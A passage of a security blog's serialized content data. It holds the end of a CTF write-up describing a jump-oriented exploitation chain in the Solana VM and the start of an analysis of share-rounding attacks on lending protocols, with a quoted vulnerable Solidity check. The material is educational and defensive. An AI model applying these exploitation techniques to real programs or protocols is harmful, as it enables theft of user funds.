u64\n",[46068],{"type":21,"tag":194,"props":46069,"children":46070},{"__ignoreMap":7},[46071],{"type":21,"tag":198,"props":46072,"children":46073},{"class":200,"line":201},[46074,46078,46083,46087,46092,46096,46100,46104,46108,46112,46117,46121,46125,46129,46133,46137,46142,46146,46150,46154,46159,46163,46167,46171,46175,46179,46184,46188,46192,46196,46200],{"type":21,"tag":198,"props":46075,"children":46076},{"style":249},[46077],{"type":27,"value":21061},{"type":21,"tag":198,"props":46079,"children":46080},{"style":698},[46081],{"type":27,"value":46082}," sol_invoke_signed_rust",{"type":21,"tag":198,"props":46084,"children":46085},{"style":211},[46086],{"type":27,"value":706},{"type":21,"tag":198,"props":46088,"children":46089},{"style":226},[46090],{"type":27,"value":46091},"instruction_addr",{"type":21,"tag":198,"props":46093,"children":46094},{"style":683},[46095],{"type":27,"value":185},{"type":21,"tag":198,"props":46097,"children":46098},{"style":683},[46099],{"type":27,"value":10626},{"type":21,"tag":198,"props":46101,"children":46102},{"style":249},[46103],{"type":27,"value":2648},{"type":21,"tag":198,"props":46105,"children":46106},{"style":1966},[46107],{"type":27,"value":15439},{"type":21,"tag":198,"props":46109,"children":46110},{"style":211},[46111],{"type":27,"value":828},{"type":21,"tag":198,"props":46113,"children":46114},{"style":226},[46115],{"type":27,"value":46116},"account_infos_addr",{"type":21,"tag":198,"props":46118,"children":46119},{"style":683},[46120],{"type":27,"value":185},{"type":21,"tag":198,"props":46122,"children":46123},{"style":683},[46124],{"type":27,"value":10626},{"type":21,"tag":198,"props":46126,"children":46127},{"style":249},[46128],{"type":27,"value":2648},{"type":21,"tag":198,"props":46130,"children":46131},{"style":1966},[46132],{"type":27,"value":15439},{"type":21,"tag":198,"props":46134,"children":46135},{"style":211},[46136],{"type":27,"value":828},{"type":21,"tag":198,"props":46138,"children":46139},{"style":226},[46140],{"type":27,"value":46141},"account_infos_len",{"type":21,"tag":198,"props":46143,"children":46144},{"style":683},[46145],{"type":27,"value":185},{"type":21,"tag":198,"props":46147,"children":46148},{"style":1966},[46149],{"type":27,"value":6673},{"type":21,"tag":198,"props":46151,"children":46152},{"style":211},[46153],{"type":27,"value":828},{"type":21,"tag":198,"props":46155,"children":46156},{"style":226},[46157],{"type":27,"value":46158},"signers_seeds_addr",{"type":21,"tag":198,"props":46160,"children":46161},{"style":683},[46162],{"type":27,"value":185},{"type":21,"tag":198,"props":46164,"children":46165},{"style":683},[46166],{"type":27,"value":10626},{"type":21,"tag":198,"props":46168,"children":46169},{"style":249},[46170],{"type":27,"value":2648},{"type":21,"tag":198,"props":46172,"children":46173},{"style":1966},[46174],{"type":27,"value":15439},{"type":21,"tag":198,"props":46176,"children":46177},{"style":211},[46178],{"type":27,"value":828},{"type":21,"tag":198,"props":46180,"children":46181},{"style":226},[46182],{"type":27,"value":46183},"signers_seeds_len",{"type":21,"tag":198,"props":46185,"children":46186},{"style":683},[46187],{"type":27,"value":185},{"type":21,"tag":198,"props":46189,"children":46190},{"style":1966},[46191],{"type":27,"value":6673},{"type":21,"tag":198,"props":46193,"children":46194},{"style":211},[46195],{"type":27,"value":1541},{"type":21,"tag":198,"props":46197,"children":46198},{"style":683},[46199],{"type":27,"value":14564},{"type":21,"tag":198,"props":46201,"children":46202},{"style":1966},[46203],{"type":27,"value":14003},{"type":21,"tag":30,"props":46205,"children":46206},{},[46207,46209,46214,46216,46223],{"type":27,"value":46208},"The source of ",{"type":21,"tag":34,"props":46210,"children":46212},{"href":46211},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[46213],{"type":27,"value":44824},{"type":27,"value":46215}," helps a lot, but looking at the actual ",{"type":21,"tag":34,"props":46217,"children":46220},{"href":46218,"rel":46219},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[38],[46221],{"type":27,"value":46222},"implementation",{"type":27,"value":46224}," provides more clarity:",{"type":21,"tag":138,"props":46226,"children":46227},{},[46228],{"type":21,"tag":75,"props":46229,"children":46230},{},[46231,46236,46238,46245],{"type":21,"tag":194,"props":46232,"children":46234},{"className":46233},[],[46235],{"type":27,"value":46091},{"type":27,"value":46237}," points to a ",{"type":21,"tag":34,"props":46239,"children":46242},{"href":46240,"rel":46241},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[38],[46243],{"type":27,"value":46244},"StableInstruction",{"type":27,"value":185},{"type":21,"tag":30,"props":46247,"children":46248},{},[46249],{"type":21,"tag":1376,"props":46250,"children":46252},{"alt":46244,"src":46251},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":21,"tag":138,"props":46254,"children":46255},{},[46256,46281],{"type":21,"tag":75,"props":46257,"children":46258},{},[46259,46264,46266,46271,46273,46280],{"type":21,"tag":194,"props":46260,"children":46262},{"className":46261},[],[46263],{"type":27,"value":46116},{"type":27,"value":46265}," points to a slice of ",{"type":21,"tag":194,"props":46267,"children":46269},{"className":46268},[],[46270],{"type":27,"value":46141},{"type":27,"value":46272}," ",{"type":21,"tag":34,"props":46274,"children":46277},{"href":46275,"rel":46276},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[38],[46278],{"type":27,"value":46279},"AccountInfos",{"type":27,"value":658},{"type":21,"tag":75,"props":46282,"children":46283},{},[46284,46289,46291,46296,46298,46303],{"type":21,"tag":194,"props":46285,"children":46287},{"className":46286},[],[46288],{"type":27,"value":46158},{"type":27,"value":46290}," is a bit trickier, it points to a slice of length ",{"type":21,"tag":194,"props":46292,"children":46294},{"className":46293},[],[46295],{"type":27,"value":46183},{"type":27,"value":46297},", containing slices of ",{"type":21,"tag":194,"props":46299,"children":46301},{"className":46300},[],[46302],{"type":27,"value":4226},{"type":27,"value":658},{"type":21,"tag":30,"props":46305,"children":46306},{},[46307],{"type":21,"tag":1376,"props":46308,"children":46311},{"alt":46309,"src":46310},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":21,"tag":30,"props":46313,"children":46314},{},[46315,46317,46322],{"type":27,"value":46316},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":21,"tag":1671,"props":46318,"children":46319},{},[46320],{"type":27,"value":46321},"future call frames",{"type":27,"value":658},{"type":21,"tag":30,"props":46324,"children":46325},{},[46326,46328,46335],{"type":27,"value":46327},"Now that we have all the parts, all we need is to string it together. The full ",{"type":21,"tag":34,"props":46329,"children":46332},{"href":46330,"rel":46331},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[38],[46333],{"type":27,"value":46334},"reference solution can be found here",{"type":27,"value":658},{"type":21,"tag":30,"props":46337,"children":46338},{},[46339],{"type":27,"value":46340},"Here's a visualization of the final JOP chain.",{"type":21,"tag":187,"props":46342,"children":46344},{"className":44706,"code":46343,"language":44708,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[46345],{"type":21,"tag":194,"props":46346,"children":46347},{"__ignoreMap":7},[46348,46356,46363,46370,46378,46385,46393,46401,46409,46417,46425,46433,46441,46449,46457],{"type":21,"tag":198,"props":46349,"children":46350},{"class":200,"line":201},[46351],{"type":21,"tag":198,"props":46352,"children":46353},{},[46354],{"type":27,"value":46355},"graph BT\n",{"type":21,"tag":198,"props":46357,"children":46358},{"class":200,"line":217},[46359],{"type":21,"tag":198,"props":46360,"children":46361},{},[46362],{"type":27,"value":44728},{"type":21,"tag":198,"props":46364,"children":46365},{"class":200,"line":236},[46366],{"type":21,"tag":198,"props":46367,"children":46368},{},[46369],{"type":27,"value":44736},{"type":21,"tag":198,"props":46371,"children":46372},{"class":200,"line":260},[46373],{"type":21,"tag":198,"props":46374,"children":46375},{},[46376],{"type":27,"value":46377}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":21,"tag":198,"props":46379,"children":46380},{"class":200,"line":281},[46381],{"type":21,"tag":198,"props":46382,"children":46383},{},[46384],{"type":27,"value":44752},{"type":21,"tag":198,"props":46386,"children":46387},{"class":200,"line":302},[46388],{"type":21,"tag":198,"props":46389,"children":46390},{},[46391],{"type":27,"value":46392}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":21,"tag":198,"props":46394,"children":46395},{"class":200,"line":323},[46396],{"type":21,"tag":198,"props":46397,"children":46398},{},[46399],{"type":27,"value":46400}," E --> G[4: process]\n",{"type":21,"tag":198,"props":46402,"children":46403},{"class":200,"line":344},[46404],{"type":21,"tag":198,"props":46405,"children":46406},{},[46407],{"type":27,"value":46408}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":21,"tag":198,"props":46410,"children":46411},{"class":200,"line":365},[46412],{"type":21,"tag":198,"props":46413,"children":46414},{},[46415],{"type":27,"value":46416}," G --> I[5: process]\n",{"type":21,"tag":198,"props":46418,"children":46419},{"class":200,"line":386},[46420],{"type":21,"tag":198,"props":46421,"children":46422},{},[46423],{"type":27,"value":46424}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":21,"tag":198,"props":46426,"children":46427},{"class":200,"line":408},[46428],{"type":21,"tag":198,"props":46429,"children":46430},{},[46431],{"type":27,"value":46432}," I --> K[6: process]\n",{"type":21,"tag":198,"props":46434,"children":46435},{"class":200,"line":429},[46436],{"type":21,"tag":198,"props":46437,"children":46438},{},[46439],{"type":27,"value":46440}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":21,"tag":198,"props":46442,"children":46443},{"class":200,"line":450},[46444],{"type":21,"tag":198,"props":46445,"children":46446},{},[46447],{"type":27,"value":46448}," K --> N[7: process]\n",{"type":21,"tag":198,"props":46450,"children":46451},{"class":200,"line":468},[46452],{"type":21,"tag":198,"props":46453,"children":46454},{},[46455],{"type":27,"value":46456}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":21,"tag":198,"props":46458,"children":46459},{"class":200,"line":477},[46460],{"type":21,"tag":198,"props":46461,"children":46462},{},[46463],{"type":27,"value":46464}," N --> O[8: Write 0x4337 to the account]\n",{"type":21,"tag":30,"props":46466,"children":46467},{},[46468,46470,46476],{"type":27,"value":46469},"Small note: ",{"type":21,"tag":194,"props":46471,"children":46473},{"className":46472},[],[46474],{"type":27,"value":46475},"target_r10",{"type":27,"value":46477}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":21,"tag":187,"props":46479,"children":46481},{"className":3789,"code":46480,"language":3788,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[46482],{"type":21,"tag":194,"props":46483,"children":46484},{"__ignoreMap":7},[46485,46530,46565,46572],{"type":21,"tag":198,"props":46486,"children":46487},{"class":200,"line":201},[46488,46492,46497,46501,46506,46510,46514,46518,46522,46526],{"type":21,"tag":198,"props":46489,"children":46490},{"style":249},[46491],{"type":27,"value":21061},{"type":21,"tag":198,"props":46493,"children":46494},{"style":698},[46495],{"type":27,"value":46496}," call_frame_addr",{"type":21,"tag":198,"props":46498,"children":46499},{"style":211},[46500],{"type":27,"value":706},{"type":21,"tag":198,"props":46502,"children":46503},{"style":226},[46504],{"type":27,"value":46505},"depth",{"type":21,"tag":198,"props":46507,"children":46508},{"style":683},[46509],{"type":27,"value":185},{"type":21,"tag":198,"props":46511,"children":46512},{"style":1966},[46513],{"type":27,"value":6673},{"type":21,"tag":198,"props":46515,"children":46516},{"style":211},[46517],{"type":27,"value":1541},{"type":21,"tag":198,"props":46519,"children":46520},{"style":683},[46521],{"type":27,"value":14564},{"type":21,"tag":198,"props":46523,"children":46524},{"style":1966},[46525],{"type":27,"value":6673},{"type":21,"tag":198,"props":46527,"children":46528},{"style":211},[46529],{"type":27,"value":233},{"type":21,"tag":198,"props":46531,"children":46532},{"class":200,"line":217},[46533,46538,46542,46547,46551,46556,46560],{"type":21,"tag":198,"props":46534,"children":46535},{"style":2540},[46536],{"type":27,"value":46537}," 0x200000000",{"type":21,"tag":198,"props":46539,"children":46540},{"style":683},[46541],{"type":27,"value":1440},{"type":21,"tag":198,"props":46543,"children":46544},{"style":2540},[46545],{"type":27,"value":46546}," 0x2000",{"type":21,"tag":198,"props":46548,"children":46549},{"style":683},[46550],{"type":27,"value":10626},{"type":21,"tag":198,"props":46552,"children":46553},{"style":226},[46554],{"type":27,"value":46555}," depth",{"type":21,"tag":198,"props":46557,"children":46558},{"style":683},[46559],{"type":27,"value":1440},{"type":21,"tag":198,"props":46561,"children":46562},{"style":2540},[46563],{"type":27,"value":46564}," 0x1000\n",{"type":21,"tag":198,"props":46566,"children":46567},{"class":200,"line":236},[46568],{"type":21,"tag":198,"props":46569,"children":46570},{"style":211},[46571],{"type":27,"value":1120},{"type":21,"tag":198,"props":46573,"children":46574},{"class":200,"line":260},[46575],{"type":21,"tag":198,"props":46576,"children":46577},{"style":1233},[46578],{"type":27,"value":46579},"// call_frame_addr(8) = 0x200011000\n",{"type":21,"tag":22,"props":46581,"children":46582},{"id":3586},[46583],{"type":27,"value":3589},{"type":21,"tag":30,"props":46585,"children":46586},{},[46587,46589,46596],{"type":27,"value":46588},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":21,"tag":34,"props":46590,"children":46593},{"href":46591,"rel":46592},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[38],[46594],{"type":27,"value":46595},"they do exist",{"type":27,"value":658},{"type":21,"tag":30,"props":46598,"children":46599},{},[46600],{"type":27,"value":46601},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":21,"tag":30,"props":46603,"children":46604},{},[46605,46607,46612],{"type":27,"value":46606},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":21,"tag":1671,"props":46608,"children":46609},{},[46610],{"type":27,"value":46611},"entire",{"type":27,"value":46613}," runtime.",{"type":21,"tag":3645,"props":46615,"children":46616},{},[46617],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":46619},[46620,46624,46625,46628],{"id":24,"depth":217,"text":28,"children":46621},[46622,46623],{"id":41294,"depth":236,"text":41297},{"id":42613,"depth":236,"text":42616},{"id":43852,"depth":217,"text":43855},{"id":44688,"depth":217,"text":44691,"children":46626},[46627],{"id":44802,"depth":236,"text":44805},{"id":3586,"depth":217,"text":3589},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":46633,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":46634,"description":46635,"author":46636,"image":46637,"date":46639,"isFeatured":16,"onBlogPage":16,"body":46640,"_type":3671,"_id":47784,"_source":3673,"_file":47785,"_stem":47786,"_extension":3676},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[6533],{"src":46638},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":18,"children":46641,"toc":47773},[46642,46646,46674,46679,46692,46697,46703,46708,46713,46718,46723,46736,46748,46768,46788,46793,46798,46816,46822,46827,46833,46847,46860,46865,46871,46885,46890,46912,47145,47150,47155,47168,47407,47417,47422,47428,47433,47438,47471,47476,47487,47493,47498,47512,47639,47653,47729,47734,47745,47750,47755,47759,47764,47769],{"type":21,"tag":22,"props":46643,"children":46644},{"id":61},[46645],{"type":27,"value":64},{"type":21,"tag":30,"props":46647,"children":46648},{},[46649,46651,46658,46659,46666,46668,46673],{"type":27,"value":46650},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":21,"tag":34,"props":46652,"children":46655},{"href":46653,"rel":46654},"https://neodyme.io/de/blog/lending_disclosure",[38],[46656],{"type":27,"value":46657},"fast",{"type":27,"value":828},{"type":21,"tag":34,"props":46660,"children":46663},{"href":46661,"rel":46662},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[38],[46664],{"type":27,"value":46665},"cheap",{"type":27,"value":46667}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":21,"tag":1671,"props":46669,"children":46670},{},[46671],{"type":27,"value":46672},"Most people haven't considered what happens when shares are worth a lot",{"type":27,"value":658},{"type":21,"tag":30,"props":46675,"children":46676},{},[46677],{"type":27,"value":46678},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":21,"tag":71,"props":46680,"children":46681},{},[46682,46687],{"type":21,"tag":75,"props":46683,"children":46684},{},[46685],{"type":27,"value":46686},"Inflate share value (token to share conversion rate)",{"type":21,"tag":75,"props":46688,"children":46689},{},[46690],{"type":27,"value":46691},"Exploit rounding bug",{"type":21,"tag":30,"props":46693,"children":46694},{},[46695],{"type":27,"value":46696},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":21,"tag":22,"props":46698,"children":46700},{"id":46699},"model",[46701],{"type":27,"value":46702},"Model",{"type":21,"tag":30,"props":46704,"children":46705},{},[46706],{"type":27,"value":46707},"Before we dive in, there's some helpful background information we'll share first.",{"type":21,"tag":30,"props":46709,"children":46710},{},[46711],{"type":27,"value":46712},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":21,"tag":30,"props":46714,"children":46715},{},[46716],{"type":27,"value":46717},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":21,"tag":30,"props":46719,"children":46720},{},[46721],{"type":27,"value":46722},"This question is more complex than it may appear. Let's walk through an example.",{"type":21,"tag":30,"props":46724,"children":46725},{},[46726,46728,46734],{"type":27,"value":46727},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":21,"tag":194,"props":46729,"children":46731},{"className":46730},[],[46732],{"type":27,"value":46733},"1000:1000",{"type":27,"value":46735}," (1000 tokens to 1000 shares).",{"type":21,"tag":30,"props":46737,"children":46738},{},[46739,46741,46747],{"type":27,"value":46740},"After accruing fees, the pool gains one token for a new ratio of ",{"type":21,"tag":194,"props":46742,"children":46744},{"className":46743},[],[46745],{"type":27,"value":46746},"1001:1000",{"type":27,"value":658},{"type":21,"tag":30,"props":46749,"children":46750},{},[46751,46753,46759,46761,46766],{"type":27,"value":46752},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":21,"tag":194,"props":46754,"children":46756},{"className":46755},[],[46757],{"type":27,"value":46758},"1001/1000*999 = 999.999",{"type":27,"value":46760},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":21,"tag":1671,"props":46762,"children":46763},{},[46764],{"type":27,"value":46765},"down",{"type":27,"value":46767}," against the user.",{"type":21,"tag":30,"props":46769,"children":46770},{},[46771,46773,46779,46781,46787],{"type":27,"value":46772},"If we give the user 999 tokens, the new pool state is ",{"type":21,"tag":194,"props":46774,"children":46776},{"className":46775},[],[46777],{"type":27,"value":46778},"2:1",{"type":27,"value":46780},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":21,"tag":194,"props":46782,"children":46784},{"className":46783},[],[46785],{"type":27,"value":46786},"3:1",{"type":27,"value":658},{"type":21,"tag":30,"props":46789,"children":46790},{},[46791],{"type":27,"value":46792},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":21,"tag":30,"props":46794,"children":46795},{},[46796],{"type":27,"value":46797},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":21,"tag":71,"props":46799,"children":46800},{},[46801,46806,46811],{"type":21,"tag":75,"props":46802,"children":46803},{},[46804],{"type":27,"value":46805},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":21,"tag":75,"props":46807,"children":46808},{},[46809],{"type":27,"value":46810},"When you withdraw, are you withdrawing shares or tokens?",{"type":21,"tag":75,"props":46812,"children":46813},{},[46814],{"type":27,"value":46815},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":21,"tag":22,"props":46817,"children":46819},{"id":46818},"decisions",[46820],{"type":27,"value":46821},"Decisions",{"type":21,"tag":30,"props":46823,"children":46824},{},[46825],{"type":27,"value":46826},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":21,"tag":59,"props":46828,"children":46830},{"id":46829},"radiant-capital",[46831],{"type":27,"value":46832},"Radiant Capital",{"type":21,"tag":30,"props":46834,"children":46835},{},[46836,46838,46845],{"type":27,"value":46837},"Radiant Capital was ",{"type":21,"tag":34,"props":46839,"children":46842},{"href":46840,"rel":46841},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[38],[46843],{"type":27,"value":46844},"hacked on Jan 2nd",{"type":27,"value":46846}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":21,"tag":30,"props":46848,"children":46849},{},[46850,46852,46859],{"type":27,"value":46851},"The exploit is relatively straightforward and ",{"type":21,"tag":34,"props":46853,"children":46856},{"href":46854,"rel":46855},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[38],[46857],{"type":27,"value":46858},"has already been covered previously",{"type":27,"value":658},{"type":21,"tag":30,"props":46861,"children":46862},{},[46863],{"type":27,"value":46864},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":21,"tag":59,"props":46866,"children":46868},{"id":46867},"wise-lending",[46869],{"type":27,"value":46870},"Wise Lending",{"type":21,"tag":30,"props":46872,"children":46873},{},[46874,46876,46883],{"type":27,"value":46875},"Wise Lending was ",{"type":21,"tag":34,"props":46877,"children":46880},{"href":46878,"rel":46879},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[38],[46881],{"type":27,"value":46882},"hacked on January 13th",{"type":27,"value":46884}," for just under $460,000.",{"type":21,"tag":30,"props":46886,"children":46887},{},[46888],{"type":27,"value":46889},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":21,"tag":30,"props":46891,"children":46892},{},[46893,46895,46902,46904,46911],{"type":27,"value":46894},"This is ",{"type":21,"tag":34,"props":46896,"children":46899},{"href":46897,"rel":46898},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[38],[46900],{"type":27,"value":46901},"the code responsible",{"type":27,"value":46903}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":21,"tag":34,"props":46905,"children":46908},{"href":46906,"rel":46907},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[38],[46909],{"type":27,"value":46910},"no way to atomically self-bankrupt",{"type":27,"value":658},{"type":21,"tag":187,"props":46913,"children":46915},{"className":5287,"code":46914,"language":5286,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n _poolToken,\n _amount\n)\n * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n / PRECISION_FACTOR_E18\n \u003C borrowAmount;\n\nif (state == true) {\n revert ResultsInBadDebt();\n}\n",[46916],{"type":21,"tag":194,"props":46917,"children":46918},{"__ignoreMap":7},[46919,46950,46958,46966,46973,46995,47008,47015,47036,47066,47078,47090,47097,47121,47138],{"type":21,"tag":198,"props":46920,"children":46921},{"class":200,"line":201},[46922,46927,46932,46936,46941,46946],{"type":21,"tag":198,"props":46923,"children":46924},{"style":1966},[46925],{"type":27,"value":46926},"uint256",{"type":21,"tag":198,"props":46928,"children":46929},{"style":211},[46930],{"type":27,"value":46931}," withdrawValue ",{"type":21,"tag":198,"props":46933,"children":46934},{"style":683},[46935],{"type":27,"value":3174},{"type":21,"tag":198,"props":46937,"children":46938},{"style":211},[46939],{"type":27,"value":46940}," WISE_ORACLE.",{"type":21,"tag":198,"props":46942,"children":46943},{"style":698},[46944],{"type":27,"value":46945},"getTokensInETH",{"type":21,"tag":198,"props":46947,"children":46948},{"style":211},[46949],{"type":27,"value":4268},{"type":21,"tag":198,"props":46951,"children":46952},{"class":200,"line":217},[46953],{"type":21,"tag":198,"props":46954,"children":46955},{"style":211},[46956],{"type":27,"value":46957}," _poolToken,\n",{"type":21,"tag":198,"props":46959,"children":46960},{"class":200,"line":236},[46961],{"type":21,"tag":198,"props":46962,"children":46963},{"style":211},[46964],{"type":27,"value":46965}," _amount\n",{"type":21,"tag":198,"props":46967,"children":46968},{"class":200,"line":260},[46969],{"type":21,"tag":198,"props":46970,"children":46971},{"style":211},[46972],{"type":27,"value":789},{"type":21,"tag":198,"props":46974,"children":46975},{"class":200,"line":281},[46976,46980,46985,46990],{"type":21,"tag":198,"props":46977,"children":46978},{"style":683},[46979],{"type":27,"value":18363},{"type":21,"tag":198,"props":46981,"children":46982},{"style":211},[46983],{"type":27,"value":46984}," WISE_LENDING.",{"type":21,"tag":198,"props":46986,"children":46987},{"style":698},[46988],{"type":27,"value":46989},"lendingPoolData",{"type":21,"tag":198,"props":46991,"children":46992},{"style":211},[46993],{"type":27,"value":46994},"(_poolToken).collateralFactor\n",{"type":21,"tag":198,"props":46996,"children":46997},{"class":200,"line":302},[46998,47003],{"type":21,"tag":198,"props":46999,"children":47000},{"style":683},[47001],{"type":27,"value":47002}," /",{"type":21,"tag":198,"props":47004,"children":47005},{"style":211},[47006],{"type":27,"value":47007}," PRECISION_FACTOR_E18;\n",{"type":21,"tag":198,"props":47009,"children":47010},{"class":200,"line":323},[47011],{"type":21,"tag":198,"props":47012,"children":47013},{"emptyLinePlaceholder":16},[47014],{"type":27,"value":1283},{"type":21,"tag":198,"props":47016,"children":47017},{"class":200,"line":344},[47018,47022,47027,47031],{"type":21,"tag":198,"props":47019,"children":47020},{"style":1966},[47021],{"type":27,"value":30486},{"type":21,"tag":198,"props":47023,"children":47024},{"style":211},[47025],{"type":27,"value":47026}," state ",{"type":21,"tag":198,"props":47028,"children":47029},{"style":683},[47030],{"type":27,"value":3174},{"type":21,"tag":198,"props":47032,"children":47033},{"style":211},[47034],{"type":27,"value":47035}," borrowPercentageCap\n",{"type":21,"tag":198,"props":47037,"children":47038},{"class":200,"line":365},[47039,47043,47047,47052,47057,47061],{"type":21,"tag":198,"props":47040,"children":47041},{"style":683},[47042],{"type":27,"value":18363},{"type":21,"tag":198,"props":47044,"children":47045},{"style":211},[47046],{"type":27,"value":648},{"type":21,"tag":198,"props":47048,"children":47049},{"style":698},[47050],{"type":27,"value":47051},"overallETHCollateralsWeighted",{"type":21,"tag":198,"props":47053,"children":47054},{"style":211},[47055],{"type":27,"value":47056},"(_nftId) ",{"type":21,"tag":198,"props":47058,"children":47059},{"style":683},[47060],{"type":27,"value":5139},{"type":21,"tag":198,"props":47062,"children":47063},{"style":211},[47064],{"type":27,"value":47065}," withdrawValue)\n",{"type":21,"tag":198,"props":47067,"children":47068},{"class":200,"line":386},[47069,47073],{"type":21,"tag":198,"props":47070,"children":47071},{"style":683},[47072],{"type":27,"value":47002},{"type":21,"tag":198,"props":47074,"children":47075},{"style":211},[47076],{"type":27,"value":47077}," PRECISION_FACTOR_E18\n",{"type":21,"tag":198,"props":47079,"children":47080},{"class":200,"line":408},[47081,47085],{"type":21,"tag":198,"props":47082,"children":47083},{"style":683},[47084],{"type":27,"value":33229},{"type":21,"tag":198,"props":47086,"children":47087},{"style":211},[47088],{"type":27,"value":47089}," borrowAmount;\n",{"type":21,"tag":198,"props":47091,"children":47092},{"class":200,"line":429},[47093],{"type":21,"tag":198,"props":47094,"children":47095},{"emptyLinePlaceholder":16},[47096],{"type":27,"value":1283},{"type":21,"tag":198,"props":47098,"children":47099},{"class":200,"line":450},[47100,47104,47109,47113,47117],{"type":21,"tag":198,"props":47101,"children":47102},{"style":640},[47103],{"type":27,"value":16382},{"type":21,"tag":198,"props":47105,"children":47106},{"style":211},[47107],{"type":27,"value":47108}," (state ",{"type":21,"tag":198,"props":47110,"children":47111},{"style":683},[47112],{"type":27,"value":9386},{"type":21,"tag":198,"props":47114,"children":47115},{"style":249},[47116],{"type":27,"value":252},{"type":21,"tag":198,"props":47118,"children":47119},{"style":211},[47120],{"type":27,"value":668},{"type":21,"tag":198,"props":47122,"children":47123},{"class":200,"line":468},[47124,47129,47134],{"type":21,"tag":198,"props":47125,"children":47126},{"style":640},[47127],{"type":27,"value":47128}," revert",{"type":21,"tag":198,"props":47130,"children":47131},{"style":698},[47132],{"type":27,"value":47133}," 